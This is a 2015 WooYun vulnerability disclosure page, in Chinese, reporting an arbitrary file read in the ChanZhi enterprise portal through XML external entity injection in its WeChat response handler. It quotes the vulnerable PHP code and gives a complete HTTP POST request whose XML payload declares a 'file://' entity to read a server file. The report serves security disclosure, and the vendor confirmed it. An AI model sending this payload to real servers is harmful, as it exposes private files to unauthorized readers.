当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0142771

漏洞标题:蝉知企业门户最新版任意文件读取(默认安装)

相关厂商:chanzhi.org

漏洞作者: menmen519

提交时间:2015-11-03 11:03

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-03: 细节已通知厂商并且等待厂商处理中
2015-11-04: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-29: 细节向核心白帽子及相关领域专家公开
2016-01-08: 细节向普通白帽子公开
2016-01-18: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

蝉知企业门户最新版任意文件读取(默认安装)

详细说明:

wechat/control.php:

public function response($public)
{

$this->setAPI($public);

$this->api->checkSign();
$message = $this->api->getMessage();

$response = $this->wechat->getResponseForMessage($public, $message);
if($response) $this->api->response($response);
if(isset($message->event) and $message->event == 'subscribe') $this->wechat->createUser($public, $message);
exit;
}


getMessage:

public function getMessage()
{
$this->rawData = '';
$this->message = new stdclass();
if(isset($GLOBALS["HTTP_RAW_POST_DATA"]))
{
$this->rawData = $GLOBALS["HTTP_RAW_POST_DATA"];
$message = new simpleXMLElement($this->rawData);
foreach($message as $key => $value)
{
if( function_exists('lcfirst'))
{
$key = lcfirst($key);
}
else
{
$first = strtolower(substr($key, 0, 1));
$key = $first . substr($key, 1);
}
$value = $key == 'event' ? strtolower($value) : $value;
$this->message->$key = (string)$value;
}
}
return $this->message;
}


这里没有进行实体转换
getResponseForMessage:

public function getResponseForMessage($public, $message)
{
if(isset($message->event) && in_array($message->event, array('unsubscribe', 'location')))
{
$this->saveMessage($public, $message);
return false;
}
if($message->msgType == 'text') $response = $this->getResponseByKey($public, $message->content);
if($message->msgType == 'event') $response = $this->getResponseByKey($public, isset($message->eventKey) ? $message->eventKey : '');
if(isset($message->event) && $message->event == 'subscribe') $response = $this->getResponseByKey($public, 'subscribe');
if(empty($response)) $response = $this->getResponseByKey($public, 'default');
if(!empty($response))
{
$message->response = $response->id;
if(isset($message->event) && $message->event == 'VIEW')
{
$message->response = $this->dao->select('id')->from(TABLE_WX_RESPONSE)->where('`key`')->like('m_%')->andWhere('concat(content, source)')->eq($message->eventKey)->fetch('id');
}
if($response->type == 'text' or $response->type == 'link')
{
$reply = new stdclass();
$reply->msgType = 'text';
$reply->content = $response->content;
}
elseif($response->type == 'news')
{
$reply = $response->content;
}
}
$this->saveMessage($public, $message);
if(!isset($reply)) $reply = false;
return $reply;
}


系统默认安装,会有一张表叫:

1.png


好了 根据以上所有情况我们构造请求:

POST /chanzhieps/www/index.php?m=wechat&f=response&public=1&signature=54c7f6d5084f93e1a935afb285b4fc35cf0b9e89&timestamp=xxxx&nonce=xxxx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: CNZZDATA80862620=cnzz_eid%3D1165449138-1441185714-http%253A%252F%252F**.**.**.**%252F%26ntime%3D1441190707; lang=zh-cn; frontsid=606c50084c6191f7ec4a21cdba5405cd
Connection: keep-alive
Content-Type: text/xml
Content-Length: 308
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///D:/wamp/www/chanzhieps/www/robots.txt">
]>
<xml>
<ToUserName>&test;</ToUserName>
<FromUserName>1111</FromUserName>
<Content>m_9</Content>
<Event>m_9</Event>
<msgType>text</msgType>
</xml>


2.png


漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-04 11:32

厂商回复:

谢谢反馈。

最新状态:

暂无


漏洞评价:

评价